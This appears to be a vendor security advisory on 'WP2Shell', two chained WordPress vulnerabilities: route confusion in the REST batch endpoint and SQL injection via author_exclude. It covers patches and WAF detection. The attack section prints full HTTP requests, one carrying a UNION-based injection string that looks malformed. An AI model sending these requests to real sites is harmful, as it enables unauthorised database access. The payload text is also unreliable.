This vulnerability is a "Route Confusion and SQL Injection" vulnerability found in WordPress. An attacker may attempt to carry out an attack by sending a JSON request containing the syntax of a malicious SQL injection attack to the /wp-json/batch/v1 endpoint, exploiting incorrect sub-request handling logic.
The security patch for this vulnerability was released on July 17, 2026, and the AIWAF product detects it using SQL injection-related patterns.
---
1. Overview
WordPress is an open-source content management system (CMS) that powers a significant portion of the world’s websites. With its vast ecosystem of themes and plugins, as well as its ease of customization, it helps users quickly build and operate a wide variety of sites, ranging from blogs to corporate websites.
This report summarizes the analysis of the WP2Shell vulnerabilities—CVE-2026-63030 and CVE-2026-60137—that were discovered in this system.
---
2. Attack Type
Dubbed “WP2Shell,” this vulnerability is a Remote Code Execution (RCE) vulnerability found in the default WordPress environment. It involves two interlinked CVE vulnerabilities that work together to execute malicious commands.
CVE-2026-63030 is a path confusion vulnerability in the REST API of the default WordPress environment. The /wp-json/batch/v1 endpoint in WordPress can accept JSON-formatted REST sub-requests for validation and execution-related REST sub-requests in JSON format. If an error occurs in one sub-request, the handler processing that request shifts the values within the array where those requests are stored; as a result, the subsequent sub-request is executed within the handler and authorized context of the previous sub-request.
An attacker can exploit this by inserting a sub-request designed to trigger an error, thereby causing the subsequent sub-request to execute without validation.
Attack Request:
POST /wp-json/batch/v1 HTTP/1.1
Host: www.test.com
Content-Type: application/json
Accept: application/json
{
"validation": "normal",
"requests": [
{
"path": "/wp/v2/posts",
"method": "GET"
},
{
"path": "://invalid-url",
"method": "GET"
},
{
"path": "/wp/v2/posts",
"method": "GET"
}
]
}
CVE-2026-60137 is an SQL injection vulnerability that occurs in the default WordPress environment. An attacker can exploit this vulnerability by sending and executing a malicious SQL query through the `author_exclude` parameter exposed in the REST API.
However, this vulnerability previously required authentication to access the endpoint supporting this parameter; this requirement can be bypassed by exploiting the CVE-2026-63030 vulnerability.
Final Attack Request:
POST /wp-json/batch/v1 HTTP/1.1
Host: www.test.com
Content-Type: application/json
Accept: application/json
{
"validation": "normal",
"requests": [
{
"path": "/wp/v2/posts",
"method": "POST"
},
{
"path": "://invalid-url",
"method": "POST"
},
{
"path": "/wp/v2/posts",
"method": "POST",
"body": {
"author_exclude":"1) AND 1=0 UNION ALL SELECT UNION ALL SELECT 1,2,3 -- -"
}
}
]
}
---
3. Mitigation Measures
On July 17, 2026, WordPress released patches 6.9.5 and 7.0.2 to address this vulnerability; therefore, customers using these systems can mitigate the risk by updating to these security patch versions or later.
Since this vulnerability combines privilege escalation with an SQL injection vulnerability, our AIWAF can effectively block it using patterns specific to SQL injection attacks.
Source: https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
---
4. Conclusion
WordPress is an open-source CMS that powers a significant number of websites worldwide—from individuals to enterprises—thanks to its vast ecosystem of themes and plugins and its ease of customization. Regarding the WP2Shell vulnerability discovered in this service, detailed information and a proof-of-concept (PoC) have already been disclosed, and and attack cases have already been confirmed via CISA KEV; therefore, customers using this system must quickly apply the relevant security patches.
Our TA team is actively monitoring vulnerabilities in WordPress and plans to respond promptly to any related vulnerabilities discovered in the future.
---
